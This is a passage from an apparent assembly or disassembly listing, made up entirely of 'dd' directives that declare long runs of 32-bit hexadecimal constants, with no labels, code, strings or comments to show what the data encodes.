2D08B60Bh, 6F9C814Bh dd 0E8836511h, 5EA34FDFh, 880F4806h, 3865019Eh, 0B94085BDh dd 0F24A73E7h, 0CC953017h, 83FE7E0Bh, 91119DC1h, 0F1748018h dd 2EB1064Bh, 10F1D93Bh, 0B89DD449h, 84128C16h, 6308686Dh dd 0F6818006h, 2696F1E8h, 0D958F9B0h, 8C14E835h, 156CD02h dd 4431618Dh, 69BD1016h, 0C1F6171Ah, 85C21E48h, 0D0F18D09h dd 0D19D89D3h, 0F50CA6E9h, 302090CFh, 0E24C5B52h, 2565301Ch dd 75CA231Dh, 0BAC554C3h, 0D08EDC2Bh, 9CC01888h, 0ED6BD180h dd 0C2218420h, 8343DDDh, 0C2FDC152h, 96A33512h, 1D2F04BDh dd 890F0505h, 21EED430h, 652F0D90h, 4E6746E9h, 0C01788FDh dd 55C17B0Ch, 85C08B29h, 0AF181DD1h, 82C5AC03h, 0F93D6D03h dd 83124A0h, 963D8C9h, 0BE301BA2h, 683E02D6h, 42815648h dd 90F6D340h, 0C08B9A5Ch, 99B38AD6h, 0C0A028Eh, 13D85C7h dd 1B1D9580h, 3EA534E4h, 726016C4h, 0B0CD3E6h, 500D19BDh dd 48B10ABEh, 209226F8h, 0EAD20CAh, 0BD2C814Bh, 0F829A185h dd 2EFD2E88h, 2C61FF1Fh, 0ED69142Ah, 8AF7BF85h, 0E21852C8h dd 508E301Bh, 0F06A0100h, 32F68ABh, 0AB2D69BDh, 6051D3B0h dd 0C60927B8h, 0B7905E61h, 0E0C98369h, 0F022395Bh, 0BE66070Ah dd 0A6093CB5h, 0DB907BE9h, 70FC1945h, 72183F0Bh, 0A280B2D8h dd 38D97A06h, 5E00C873h, 0A6A076B5h, 0A08CE38Ah, 820BE5A0h dd 426181CAh, 1E9D56B9h, 69128930h, 6FE8F7B7h, 0CE405913h dd 2CF32840h, 4C5E7E07h, 80BE0C2Fh, 0ECFAA286h, 42A367C9h dd 5F090835h, 11A59DF9h, 0EFF8801Bh, 1F40CAEh, 29DE3E54h dd 5114A1B5h, 0FA0185F5h, 0E188E804h, 91750F0Ah, 22F80BFDh dd 5E811021h, 441B0721h, 93B38F9Eh, 7BF53D81h, 0E5A63048h dd 26961152h, 18A6A009h, 9F1704DEh, 878FE974h, 89B91A57h dd 3D9DC18Bh, 10871A11h, 6692C04Eh, 0BF05CE8Dh, 1D112389h dd 0BCC5F108h, 205DB59Dh, 4104EB37h, 0D7816000h, 0D2B91248h dd 18CA4802h, 7C046112h, 8D0721D9h, 12C9485h, 12E950FCh dd 0B1534380h, 0B8EB4987h, 77414C00h, 482E607Fh, 0A67D092Ch dd 28C28E8Dh, 1944D767h dd 776B3460h, 57B6792Ch, 0E8D14DB9h, 0BC47137Dh, 0E783035Bh dd 0D609BAACh, 0E70AFAD8h, 601C440Ch, 40C054h, 8923D22Ah dd 0CE816B10h, 0F4EFEB09h, 0CCB7803Ch, 1D3468BFh, 8205C083h dd 485D4387h, 0F0554558h, 0A255238Eh, 2633016h, 13CB361h dd 51255985h, 6465E7E2h, 78F26019h, 5039B012h, 4C65FF60h dd 35847B1Bh, 8DF90313h, 89938A9Dh, 807A379Bh, 0AC89A76Dh dd 19C206E9h, 5A0CF554h, 6ED34E85h, 6D540047h, 0A3D09778h dd 9194CB5h, 0C526811Bh, 8F2C85B7h, 0C017880Ch, 0FBF5BD72h dd 52EFE92Ch, 8021E89Bh, 49ED815Dh, 0E04826E2h, 3C121116h dd 1720866Ch, 0BB600E01h, 4829EE66h, 0B0D80705h, 0B6A85109h dd 0C71C8152h, 7BCB5A24h, 0D10B625Eh, 1817F147h, 6DCD3AE4h dd 91100ECCh, 3FAE6206h, 4A2CDACEh, 5D17B71h, 0D978B68h dd 1FC1CD81h, 3ABD8300h, 4D22F95Bh, 0C20B241Eh, 810932A7h dd 0BFCA81A7h, 62E961D4h, 880F253Fh, 45285859h, 39442C5Bh dd 5660F93Ah, 752DBD89h, 1C292629h, 0A153581Bh, 62CA0222h dd 114E215Fh, 2E835326h, 8D5E8AB2h, 744B6AC8h, 410B1646h dd 0BEA04BABh, 5E82394h, 2B45988h, 2957C9A8h, 0C1C9E5BDh dd 0C02D6C5Fh, 982622BFh, 2C1EB667h, 1B3D080Ah, 0ED950D3Bh dd 25680C23h, 0C1A07B88h, 1960D79h, 9D663E8h, 0E98A8D6Ah dd 0A5F3AE48h, 5E01300h, 77C081E4h, 95AF0034h, 54DBF690h dd 452DB5D7h, 0CD27894Fh, 75DCE0B6h, 43163ED3h, 5600B526h dd 3B8D7693h, 0DA82520Fh, 0A9AC013Ch, 1DE98B55h, 0AF077029h dd 726D09B0h, 5CF6ABC0h, 39BB01DDh, 0E6E5E499h, 3962070h dd 71528078h, 3019E269h, 0B7413B6h, 0C3A2D224h, 31B92518h dd 857D49B5h, 441134Eh, 130459DAh, 4F411F89h, 173D0365h dd 75107248h, 0E5164F16h, 0F581DC9Bh, 3C2B351Fh, 0A29A4312h dd 0F6C3018h, 13D5800h, 8D89D82Bh, 172696FDh, 20DA3293h dd 0CB3DB940h, 505F7300h, 9AAFBE60h, 574200FAh, 35F7BA66h dd 934D6159h, 9DCBC42h, 8B41CDF0h, 600476C4h, 959D3153h dd 0D1589E92h, 9E803C04h, 0FA6DAEFEh, 6E09E7ADh, 6D6199BDh dd 60146426h, 0B6870FF5h, 8A539489h, 2D0CA510h, 0B5FA3A5Fh dd 0F93B8053h, 1FB685E3h, 4CA18C39h, 0B2EF0934h, 447E09BEh dd 0DC1601F4h, 21FC1C2Fh, 0D6662192h, 141190A4h, 0DE205A69h dd 5F697EEh, 6ACBCEE0h, 16D2A622h, 0CF925EF9h, 27B72A66h dd 19119D9Fh, 20831687h, 0F50A42F3h, 0CCAC7891h, 5D8E01DEh dd 3A7A2154h, 201AC54Eh, 642599Ch, 50A9E92Fh, 5B575A81h dd 28C7C816h, 98977002h, 4AC63E0Ch, 11439DA9h, 2C07801Ch dd 0C3E92h, 0C7DC6EE4h, 2F3D9D89h, 45BD85C5h, 0BA54B9F1h dd 0F8C0919Bh, 2DE7B292h, 0BC37A024h, 31B49592h, 1E089058h dd 454EB2E6h, 0A50DF9B5h, 87AC30F6h, 14F67DB4h, 0ADE4BCA2h dd 8A2F5516h, 822B4EF0h, 7C001B23h, 0AB05A1F7h, 628A166Fh dd 1CC00B31h, 2FC123A5h, 1A2355h, 0D6779F6h, 9E033E14h dd 30FEF781h, 2B4C50Ch, 0B52B8802h, 0CC27F52Ah, 0E0C58C7Fh dd 0BAA60B49h, 0B398C522h, 0C9200121h, 45403D6Dh, 78ADB1D9h dd 0A8CC73ACh, 48881CDFh, 15E8435Bh, 3902328Ch, 812006B0h dd 0CB030CFh, 9E924A9h, 0BB00AE17h, 0DA72BC90h, 530A108h dd 0BF0FC32Bh, 21C6A6F0h, 1816F949h, 0ED98256Eh, 48E99240h dd 0D49B4DD3h, 60E99C80h, 1E055DE8h, 0C08B70FAh, 68E1DBE6h dd 179901EDh, 30BBF504h, 0B4A4DAEh, 22B43752h, 24BCF691h dd 900E603Bh, 0C1284C11h, 56B2BB80h, 62875FCh, 0C9D18EEEh dd 0E38DA261h, 92969EFh, 0C69A12D8h, 4B5D00C4h, 55865982h dd 51070289h, 0D3D977CBh, 2EEC91B0h, 28D52D5Ch, 3145B21Eh dd 5AA14D30h, 8EB17417h, 0C01C884Bh, 0CCB2C91Dh, 0F1B0D02h dd 0C2F5B791h, 112B1FA7h, 0D3DE8A14h, 4E21190Bh, 149058C6h dd 128C16E8h, 1D07B1Dh, 0BB34CEB3h, 5F53C4FCh, 97BDF93h dd 0D7637986h, 810078DEh, 2855ECEEh, 0D9A629h, 8609E39Dh dd 0FCB87B85h, 0AC6FBD1Dh, 0A0F339CEh, 1BBB4702h, 2017B02Dh dd 0A2C23081h, 609537D6h, 941E2538h, 4C09F4E5h, 460CAD9h dd 6181C8EFh, 970702C1h, 6C98398Ch, 61801645h, 31BE1366h dd 802CDB3Eh, 4A832AD3h, 4BEE807h, 5EB94871h, 1D408450h dd 0B809B38h, 5C34EA87h, 0F6001C46h, 0A860A957h, 0E30382E5h dd 0F82AE904h, 0F88C8DFFh, 9D4200CCh, 228DF298h, 914CD2A0h dd 4018926h, 8B040630h, 0C04DDBC1h, 0D59723A0h, 59FA02F1h dd 75BD0B4Eh, 0BC812270h, 19B3588Eh, 4F701241h, 6861810Eh dd 5526D8D3h, 0F4149431h, 4B3E0B00h, 7646D1B5h, 34775A33h dd 0B85CADE9h, 3B7724EDh, 90F30923h, 508EEA8Eh, 0CDCA7ABEh dd 4B5EAEE8h, 0F8FAB806h, 316EA010h, 872EB606h, 810B0447h dd 2C119529h, 99164F83h, 463E246Fh, 0E1D3380h, 50DCE990h dd 9BE6BE04h, 48E17576h, 195A0260h, 93650CE1h, 0C5ADEABDh dd 0C28A1B10h, 82307B3Dh, 0D31331D8h, 712AA19Eh, 0B49A1814h dd 0C9D68B9h, 0D35D02F9h, 68F6C0A1h, 4097D06Fh, 4003221h dd 1BE13AEFh, 0FB2023h, 29052FBBh, 0B1EE9535h, 0C5655412h dd 0E25FF6B0h, 0B409FCE9h, 4451596Fh, 0F285A6D2h, 0C70240C8h dd 3C235AC2h, 208A3A8Ch, 47611060h, 6CC00050h, 7365929Dh dd 9008685h, 13E18203h, 241667BCh, 413A890Fh, 7C5E5F51h dd 1C92808Dh, 6A03F1h, 4701F8Ah, 57138235h, 8B1EDC02h dd 91C919Dh, 0BF05B0E6h, 3337E4CCh, 88A48CA4h, 95172360h dd 0A7D22D6Dh, 0A68658C6h, 5D9D16EBh, 0D7E9303h, 0CB7C0BB2h dd 0BAAA00E9h, 0D2A5E9B3h, 0E072F613h, 50F807Ah, 79C2DA2Ch dd 11E3E04Bh, 0D5BC282h, 7A3ED83Fh, 0B0D73064h, 43E93D94h dd 0B8E34C4Dh, 0C60A8C17h, 4E2CD1FBh, 1BCF124Eh, 0CE1688h dd 0B52B0576h, 1487B4DDh, 51C0EB8Dh, 21D99589h, 8152AFB4h dd 0CB44D74Ah, 6E53AF68h, 18301DA2h, 0EFCC03D4h, 0B4C04852h dd 0C8D10FDAh, 6B536111h, 6E333F00h, 8FE03DF1h, 0FDB0BD00h dd 6DD08154h, 0F84E043Ch, 0A312BC30h, 0BD0312DCh, 56C5C11Ah dd 1D9DC1E9h, 88500303h, 50310F52h, 85A0560h, 61D08B58h dd 0F8A87F24h, 19C8F94Fh, 5B3F0087h, 0B2B49B3Eh, 0DB01C189h dd 0BD233419h, 778B1B4Dh, 4B2AABE9h, 0B0F20B7Bh, 1D44C6E7h dd 0D4123B60h, 19D31E00h, 495425BCh, 251160E8h, 0EF33EEA7h dd 6009EE4h, 5B1DAE6Eh, 0F597BC4h, 0BE3A1CEDh, 7F69BD60h dd 8D25295Fh, 0E6744031h, 6049AD70h, 74334DE5h, 0EB69202h dd 0C01930BBh, 9E1A990Ah, 18CDA790h, 61148EC0h, 0DF5427A3h dd 0CF819180h, 1627E321h, 5175926Bh, 7AF0020h, 0F738BEB9h dd 0E73AED02h, 5E8B2D25h, 174674B2h, 98F7FD00h, 41BD8B6Ch dd 48131959h, 9C212A14h, 75105F4Fh, 8C19B830h, 4EC84702h dd 0D80A0B2Ch, 78129B20h, 0D84B2B0Eh, 0F93E88h, 0F5913D68h dd 81096447h, 83338h, 83AAEABAh, 0BA36D5CAh, 8BB3122Eh dd 0F80045Fh, 0E8258888h, 3F00AAA4h, 0AC0D8FB0h, 1658F1A3h dd 137E5B7Fh, 4206E115h, 5259FF89h, 0F14BFFA0h, 0CFEC6A84h dd 330509AAh, 0E176CDB0h, 4396037Dh, 0AAE862DEh, 7690F78Bh dd 1D853795h, 0A8910BB2h, 0CC4BA09h, 7874DE04h, 148131D5h dd 7C260EF9h, 0EEB03B56h, 0E204A867h, 29159D09h, 1B5CD1Ch dd 2C21690Dh, 4DA7DD81h dd 0F7EBC020h, 7249F3C6h, 0D66E4FAEh, 96F91400h, 3B2362Fh dd 2908DD2Eh, 44B0511h, 8D2F2410h, 0F88120D7h, 0A8B1C3E4h dd 0BA181BD1h, 0B716DF01h, 2FFF222h, 1F8DBA41h, 3181E478h dd 6D13D1B5h, 0ACCF9511h, 6D120EAAh, 66780876h, 2B61C45h dd 910802A4h, 0F8580B14h, 2F459502h, 0B19112D9h, 0FCD9B93Dh dd 0F61646F8h, 0E48F0AC1h, 9FC01588h, 4B85892Eh, 0D212133Dh dd 0FF285FDFh, 2184674h, 10BF38B6h, 44CF5801h, 2F09BB05h dd 985DE77Dh, 15DD4Ah, 3DC52935h, 4133086Ch, 84110C0Fh dd 0D5017C36h, 0B589F534h, 169F70CAh, 0C4F8615Bh, 0E0D9B626h dd 0B651A599h, 1FDD463Eh, 50DCA39Ch, 4A19FB9Fh, 0C80DDB21h dd 0DB14CE14h, 0C24D9D12h, 0AFF12B40h, 1E549480h, 2D5B4853h dd 0C966B5C1h, 72C52DB4h, 29EC81BDh, 68853125h, 68ABEFDh dd 0E92B6F69h, 0EEB32951h, 0FECC3B78h, 77140064h, 600F84D8h dd 25C710E9h, 760952Fh, 3CCF7530h, 7E01C511h, 0C658F205h dd 0B356ACEh, 11BD0A04h, 53C08B00h, 0D102BE56h, 5E1BF712h dd 0BC3CD85Fh, 184674A1h, 2A317F01h, 38570C29h, 44152F13h dd 62A095AFh, 16D40FF7h, 1AD15B99h, 3103CC18h, 0FFFCB219h dd 9BC65B2Ch, 70DF8771h, 7CFFCCC0h, 64BE05CBh, 0B35FB191h dd 3F83CD53h, 7F916E3Ah, 67A25501h, 60F7A4ECh, 46C1202Eh dd 514B07D7h, 23DD1CC1h, 8D0A0505h, 6195D039h, 6D2D8529h dd 9C8E962Dh, 7500D4C6h, 11B0F45h, 4C63FA03h, 0C94A690Eh dd 0B7406A60h, 0AFEA613Dh, 0A63600EBh, 55296570h, 53BB8C42h dd 5B7B72Fh, 82AA4E1Eh, 6EEC6199h, 0BE66F502h, 0D4908586h dd 2D00DC63h, 756FDC56h, 713D4764h, 80989166h, 6D4BF680h dd 5A1CAE55h, 9CC0C7ADh, 9029E668h, 44AE90BAh, 91002D13h dd 0C8AD15C5h, 0AA49B4h, 877672E0h, 98E4D674h, 0D3BB932Eh dd 8B16D5A2h, 6745658Dh, 5D1D820Fh, 0E4F8BF8Ah, 0E8A79D1Ch dd 16FAB7A8h, 5391BD01h, 147A226h, 924D0AA9h, 136BFAF5h dd 0AD55C51Eh, 0D4B8CDh, 328A9F2Dh, 0A30EAEC1h, 1D045B5Fh dd 810F1241h, 0C8D99FA0h, 0E7EE6150h, 0C7402D00h, 5C8BBE39h dd 0C91E4A60h, 0E5A0E4CEh, 83510A06h, 6F4AFCFBh, 0FACBF77Dh dd 0BFE35FCDh, 26CD900Bh, 6E4C00EFh, 0EED835BEh, 909F0151h dd 978A0F0Ch, 13554698h, 38E4E980h, 0E8AEFFF6h, 0C3F4014h dd 0DE04C8B7h, 605F89A4h, 14882A8Eh, 70B92AC2h, 0EF2DE5D8h dd 141FFCB8h, 0E081842Fh, 3245E60Ch, 8A0EF170h, 6A0085F9h dd 0BE9AF175h, 0E334079Bh, 0F48D2116h, 10B9E902h, 18660305h dd 0D9930D79h, 17DD278h, 3102B0FCh, 6B1A559Dh, 0B08D6A4Eh dd 0DC3E8B2Ah, 831322B0h, 8D1001E1h, 0FA602661h, 22DCD08h dd 1749B533h, 55A2AFF6h, 2809F532h, 9A240820h, 0BAF64622h dd 0C08600DEh, 0D11EA202h, 709061F9h, 8F418534h, 6BDF75h dd 31B2060Ah, 2CD508B8h, 124D4325h, 0A719ED12h, 0E974A054h dd 0C70F8A8h, 0CF684BD3h, 0E85ADF5Ah, 2CEB7090h, 0CA3007B6h dd 20786264h, 4D2BC984h, 478D2902h, 0C2F9698Ch, 844F11DEh dd 0DA8A8178h, 530864B3h, 0EBFF7B0h, 683B773Fh, 0F0A65F5h dd 61EB088Fh, 22E9DB5h, 2425A761h, 0D0DD7309h, 9F587ECFh dd 0C5593E73h, 0A9146CBCh, 6BB4DA15h, 836A00ADh, 1E0EF0Ah dd 0FA6E289Ah, 0ADCA9ED7h, 3B007537h, 15117FEEh, 0FB262ED1h dd 6B0690A9h, 0B35D725Eh, 32BB7813h, 10B52809h, 89D189E7h dd 2927900Eh, 9112E495h, 2565A1A8h, 0BE038EB5h, 12547760h dd 7514E558h, 3611B5C6h, 8E0F7EEh, 1366F78Bh, 0D68C0F58h dd 69965A81h, 0F6DEDB63h, 959C84CCh, 0ACC0146Dh, 24A24171h dd 7A5020DBh, 1D4145Ch, 8B557F12h, 222D21BDh, 0E2264250h dd 9DFD3015h, 1AE88B72h, 8AC6D93h, 28332D08h, 12679520h dd 0AF6019E4h, 0E2185FC4h, 514EE780h, 17C48713h, 0B7418C60h dd 26B2E758h, 0D6A0D7BDh, 845E5282h, 0D7400DCh, 0B98AB433h dd 83B8F55Bh, 27DBF853h, 112D1F25h, 15E0801Dh, 38E8B1DAh dd 448A3174h, 65858BBFh, 3B352DF5h, 3E7EF16Ah, 41C0535Ah dd 8A23E295h, 2DEC711h, 195556B4h, 3F5B85C7h, 12B2B7A5h dd 0B4648847h, 0BA003776h, 0CB9A4CBBh, 3A5846h, 791EFA24h dd 0A8C983FFh, 9640598h, 6EAA617Dh, 227302E2h, 40849C16h dd 39BF1F0h, 6107EB96h, 0B784E99Dh, 190DB0A2h, 4FE10BA6h dd 6007AF1Fh, 30BF31DFh, 0F1CC2678h, 7A78A35Dh, 0CF97CD83h dd 0E379EAC8h, 9F450500h, 0EBC18B52h, 910014Bh, 0C53C2F0Eh dd 0ACDAE01Ah, 0D41CA407h, 0E4175CD2h, 3134CE00h, 0F1B75F5h dd 0D129B327h, 0C7DD5B20h, 177CE62Ah, 67F4DFFCh, 53A6DB38h dd 4128E001h, 0D42701E6h, 0E9C3727Dh, 4BA17C53h, 51823FDBh dd 6242DCF7h, 0CD4E7A56h, 0D9240DB1h, 952B8815h, 28416559h dd 8B7B49B8h, 781054Eh, 0F9C104C2h, 6E2EC0E9h, 6993E35h dd 0BFCB5EAh, 211228Dh, 12097531h, 74100D65h, 53635013h dd 70D0B870h, 9D8D047Eh, 0B809A87Ch, 585B1550h, 2111881Ch dd 0A7C9881Ah, 807037C9h, 0AA3D23E6h, 0F35FD89Ch, 0ED809BDBh dd 0DCA483ACh, 5BFE1516h, 1049130Eh, 0A2800F13h, 208C2159h dd 7B94B3BAh, 0D9314600h, 87D03B45h, 8D0B2F3Eh, 85A2BF2Eh dd 0E05612D5h, 0E4113F3Bh, 0BE815018h, 1C2AA854h, 359DC5E8h dd 921A0812h, 7D88299Dh, 4428A82Dh, 0F56B8A02h, 12513Dh dd 0BBEB421Ah, 8F5BEF3Fh, 0F32F0D09h, 0DD23006Eh, 19F9E168h dd 0B5B86A03h, 18BEFA0h, 36B966DDh, 8DF18077h, 8BBD8596h dd 61B8CD69h, 9C5C2701h, 0DBD29CAh, 6F9A7525h, 0B45C6008h dd 50D10CB3h, 4861386Dh, 0F8C8A321h, 2BA6681h, 4161C69Ch dd 1477570h, 8B68DC8Ah, 38C7B0B6h, 932A80B5h, 38F814Dh dd 0B57CAB54h, 0C55FD1h, 0E9F1479Bh, 8A4E0F0Ch, 0CB601E4Ah dd 0F8839309h, 2184B571h, 6D15A1BDh, 5CB8DFh, 110717CCh dd 798D89CDh, 203B1841h, 21556E28h, 805AA93Ah, 4F4BC8BAh dd 1454959h, 0DB52FABh, 20E123EAh, 702FF40Ch, 0E15DED0Ah dd 0F89A8A77h, 0D1226CFh, 3C045CCEh, 0FF051905h, 51D304D0h dd 0CAF90A0Eh, 58B3C420h, 0B3F4C6D9h, 0BADC03D3h, 3595898Eh dd 880F6F14h, 815180D4h, 162F56F3h, 0F596840h, 0D149F77Fh dd 30550502h, 8B08AE19h, 0D204D949h, 0C9E03FE6h, 1FB4BBBFh dd 27F27A60h, 0D030FB97h, 681240A5h, 350181F8h, 90EFB9C4h dd 34E00BE8h, 2C987324h, 8054E3Ah, 1D292D7Dh, 48B54Bh dd 0E010CD1h, 88CB7F4Ch, 0B2F24211h, 1EC9804h, 0EC6318E0h dd 518F4E80h, 0E1EAE3Bh, 0A52D6DBh, 0F05F06Fh, 0B002D3B7h dd 88056CC2h, 0BF40B0F1h, 50CE1C12h, 43F1BB1Ah, 2B95220Dh dd 0FBAC8B1h, 2DE50956h, 41915D05h, 57CADE31h, 7C61C560h dd 5CDA80BCh, 0EF30C1h, 9BA281B6h, 953B28D8h, 3F909400h dd 5FE086AAh, 0AB5A5461h, 1E32C914h, 2743CA01h, 8BAA58F8h dd 0CD099D2Ah, 1CC48DADh, 762CAB60h, 4CED8902h, 60A9FC64h dd 822859BDh, 8AD29D0Ch, 8B0FE811h, 92615C70h, 16968529h dd 466FA201h, 816C0093h, 270A11E2h, 0A7680117h, 8A5DD07Fh dd 0DC4734F1h, 7D34F012h, 2E45C804h, 2939B542h, 0C18A1274h dd 27397718h, 919B9D38h, 0CEBF8518h, 18BB86C3h, 650E05BEh dd 1651A58Dh, 0F8063A79h, 5826492Fh, 9D8363C1h, 7F240C59h dd 693FEA04h, 0B0BD1843h dd 0C2E10EC3h, 0D645A0EEh, 0E5C60h, 77B368BFh, 0AA2403B1h dd 93381558h, 9AF2E85Bh, 0B639005Bh, 0B9B250AEh, 6C0A51B3h dd 902DC3C5h, 1C516FB6h, 8011528Eh, 0FA5178Ah, 0AB52FA7Bh dd 0DA8B0985h, 99D158h, 367A758Dh, 590FC117h, 4A42DC7Bh dd 67802A72h, 1F71C222h, 55EC91h, 0F28C3A70h, 0BB685A39h dd 0D0546D90h, 0EC7045E0h, 0A8303054h, 93AFC200h, 0BCA5F260h dd 0E65A12B1h, 212C048Bh, 0E0681E0Dh, 10D6B359h, 31512641h dd 0BFC28FAh, 91110CFDh, 278414CDh, 0DC585403h, 0BA8EF809h dd 0FAE40E68h, 0ACD226DEh, 5FD30451h, 0D0B86A5Bh, 268C15E8h dd 83FC2AAh, 68012E35h, 6502B9CCh, 0E9DD325h, 0B589C603h dd 449DD9C9h, 10500EA7h, 0B42FEE48h, 4BC964A0h, 0F4F98B3Eh dd 595DCEB6h, 0E2365062h, 0C4BA6927h, 1C901FCh, 19A06FA1h dd 0C0FFC133h, 473254CBh, 4C0BCE2Dh, 9A8BA03Eh, 0C80EF712h dd 9AB7C01Ah, 8CE258C4h, 0D9F40862h, 0F90001Dh, 2FCB278Fh dd 86F160h, 2D6759A5h, 5E58E520h, 0B855C5EAh, 0DE49D9C0h dd 1D8977FBh, 0C3E47CCAh, 0A395E868h, 50614506h, 22625F57h dd 0FC5C0185h, 93BD4CDEh, 53CBBCACh, 18403AF8h, 0B58D1A5Bh dd 64FF6A4h, 1547CC40h, 315B04B7h, 103ADB5h, 50FD8A96h dd 40DAC8CDh, 821CB943h, 0D01F15D4h, 0DFF8BBB9h, 7200566Eh dd 0BE9C90DBh, 6CF530A5h, 1E45105Eh, 0C1D7875Ch, 1305570h dd 536EB529h, 8A6849AAh, 25FDE244h, 0DF6F6F90h, 0C549D900h dd 5632F19Dh, 0F970B58h, 7A85C7CEh, 95DC5159h, 800BD019h dd 0E50207Eh, 7573ACF3h, 0B56040B8h, 9E0F46B7h, 8830F21Fh dd 9454FAh, 0ED85131h, 817FDE25h, 5DEEC909h, 4200474h dd 0F2BB6640h, 46028D82h, 5DBD8920h, 4522642Eh, 0ECF807C9h dd 2A61E9A5h, 0F58D333Dh, 402F1B2Ch, 0DCC0C84Dh, 208D0140h dd 802E0EC9h, 0D3962438h, 0BF62DD87h, 0CDA384FAh, 974B1AC8h dd 80BFF43Dh, 0CA93B992h, 4C690C5h, 0F9FC8B36h, 0E15DB648h dd 0C1FC574Bh, 0C58019A8h, 425CC44Ah, 415168F2h, 2F1AF999h dd 88F65B02h, 1CE21EF6h, 0D6A38061h, 0BA663309h, 3B9B2914h dd 830FC2DAh, 0DEA2A993h, 8C00DC85h, 0A15AAA0Bh, 31A7A8D2h dd 0CECA149Ah, 0CA72040h, 2B598Ah, 66169C68h, 2E128449h dd 0D4D5BD83h, 29927A4Dh, 40C9C960h, 0F4588A32h, 1BB0940h dd 73F2A927h, 1DBE7059h, 32512B0Fh, 42B92076h, 4E5E85A5h dd 0ED182403h, 9FB81Ah, 0AF3DE51h, 0EFF72AFFh, 0C6FA8B1Ah dd 0A0375522h, 21E0CF00h, 4F87ACEh, 958D8B58h, 13E61004h dd 9F0208FEh, 0D4EA1DB9h, 0DF8B02F5h, 0C180310Fh, 90585ADEh dd 0B92FD890h, 0DD5CA20Ch, 34295918h, 1A9187F3h, 3683260Ch dd 0CB754819h, 4FB7C048h, 2057924Eh, 0E6ACD181h, 9435C4Eh dd 87CD6125h, 0C94280C0h, 7278A9h, 0FB0751C6h, 3813E381h dd 0E314B2Ch, 59CB9924h, 1819F95Bh, 0F390569h, 0DC2F0BCFh dd 0F129B58Ch, 0CE02AE15h, 5562E91Eh, 29815E3Dh, 9EC23187h dd 98C4ECD0h, 0C42D544Fh, 59304BBh, 0EA61428Ah, 4B0BA86Eh dd 2900C911h, 1CC681D6h, 0E547015Fh, 0E9A213F1h, 88FDC3D7h dd 7368CF8Bh, 0B392257Eh, 5EABA290h, 41591700h, 0B74F09FAh dd 70270015h, 508A35FCh, 0AA5C088Dh, 0EBF8C043h, 3FD59h dd 8B0C7316h, 46E524FBh, 0BFADC200h, 9C66C33Fh, 363945Bh dd 4C6DB082h, 0B7D7940Dh, 3961EC56h, 0FF5F923Fh, 4B2B2C6h dd 80523FA2h, 0F7459981h, 4A020D53h, 1EACCFC8h, 0C10CF308h dd 80C98B2Ah, 50A33090h, 5E5CB13Bh, 0C6006E6Eh, 84722EEAh dd 0BAB4E059h, 79A7B36Ah, 0AE590065h, 7BE6ED6h, 2BFC1E00h dd 798FDCF6h, 0BF6B01DEh, 4F9BF949h, 0BBCB205Bh, 6A5F330Bh dd 2FBD7123h, 0A30507B7h, 0D38102AAh, 0A945D1B7h, 0B6007689h dd 0B41BC2EAh, 1536FFCh, 2A031C48h, 40A04D50h, 75268318h dd 3233657Fh, 0B0BA9753h, 0A10BA9D6h, 9EA4DC8h, 6B00DC79h dd 28C0AC3Ch, 0FDDE0073h, 0A7A57FA2h, 921FE231h, 0D1A48B44h dd 0D7D402DEh, 94557335h, 317D0041h, 0EC3F6D4Bh, 0E2648DE3h dd 409A2F2Dh, 80847B80h, 72097A29h, 82FC9278h, 1B2C7934h dd 0E89BF99Ch, 2B930008h, 0EA5AADBFh, 22BDB501h, 59565809h dd 5AF98201h, 355008C2h, 0D4316920h, 4175137Ah, 0DEA36013h dd 0A55BEAB8h, 81752B48h, 0D88C6660h, 3A086AA8h, 0F3014435h dd 9E374E2Dh, 0E54ED0C6h, 0FE7105DFh, 0D10CEFC1h, 0B920047Ah dd 57021EFAh, 0B2350D9Ch, 0A893A04h, 0B0A73248h, 13DF6814h dd 0CDA9C530h, 143F0AE3h, 310E2831h, 6A500DA9h, 56057C8Dh dd 6112006Eh, 0E075C1C3h, 844EB79Dh, 0A58F0FC8h, 5994C60h dd 0B004CD00h, 60EA781Ah, 75A201E3h, 92C5BCB9h, 0B3333Dh dd 0F05386AFh, 7676DF5Ah, 0DB34008Ah, 0B36630C2h, 0F9146735h dd 0EDFA777h, 0C93EC9BEh, 9090155Eh, 0A038C819h, 302D2290h dd 0AAA89D12h, 8A179678h, 975F201Ch, 1D23DB6Eh, 4A71A700h dd 0BC809DDh, 1E7039F0h, 1B8C3880h, 0B7B72F69h, 9459030Dh dd 7E4A8464h, 0B90AEAE3h, 2C8CAE73h, 0A25D15B1h, 8A5E83Ch dd 8281BF3Dh, 0E8BF804Ah, 5B4EF8D6h, 8B6C11E1h, 0D70026BCh dd 0C23DCB67h, 1AD137B2h, 0A738E8D0h, 487054D3h, 0B9EC00CAh dd 4A3E2865h, 85173174h, 0A2D21B41h, 0DBB94A59h, 85B37086h dd 0E5E8C612h, 7AE6FF85h, 2B43A7E1h, 0D0DD2EE0h, 0D45DDE95h dd 100ECBCh, 0FD8765EEh, 0B98D3591h, 6600BB89h, 0AFD96B36h dd 32003E60h, 537B966Dh, 4810597h, 0F396217h, 0C79DE88Ch dd 5F11E2EFh, 0E98171E8h, 0DFA498BFh, 19B08B0Fh, 407AEF03h dd 861ED1BDh, 0A6A51C12h, 179A4C8h, 92CE099Bh, 0F4BE5B38h dd 46185D78h, 29252EE8h, 2F3D2985h, 312D0FE6h, 0C0689BB6h dd 796D2728h, 5D5600ECh, 0F11CBE52h, 59087FB2h, 2806F4E8h dd 184D28AEh, 13D5203Ah, 6D0110B7h, 10AE1C6Bh, 0FCC5C086h dd 0A7A21538h, 0E8B6740Ch, 0BC5349D0h, 0B1091286h, 0AB6E6F71h dd 0D8C67A01h, 0C564746Dh, 0B4046A54h, 0CE1D2E85h, 0E82661F9h dd 0B7977795h, 7AE80118h, 6009642Bh, 7EA10376h, 3A26356Dh dd 4E800D9Bh, 0B9C29A6Dh, 40C8634Fh, 703B0025h, 3C0BCE20h dd 0F100F7CCh, 0BC60FDE4h, 3A888A2h, 6EBF665Dh, 0EE105918h dd 0E81A06E1h, 8456E722h, 0C82700DCh, 0BD1157AEh, 89744592h dd 770F3D28h, 0BF128D20h, 0EBE80681h, 14A46905h, 10142891h dd 306214Dh, 9D05EDBDh, 0BE2FD460h, 495DCE2Bh, 19271F65h dd 1C64E1C7h, 690D7A60h, 7289E500h, 8BA01365h, 9EE835F1h dd 6B6EAB6Dh, 2201D800h, 8316534Ch, 0E19D8909h, 0B1D5FA04h dd 0DC0B3B9h, 0F57AAEC4h, 0BD09C005h, 0E885D16Dh, 0EDB9AF42h dd 92EDC03Ch, 2706FD55h, 1D8D0B28h, 0AAF5629Dh, 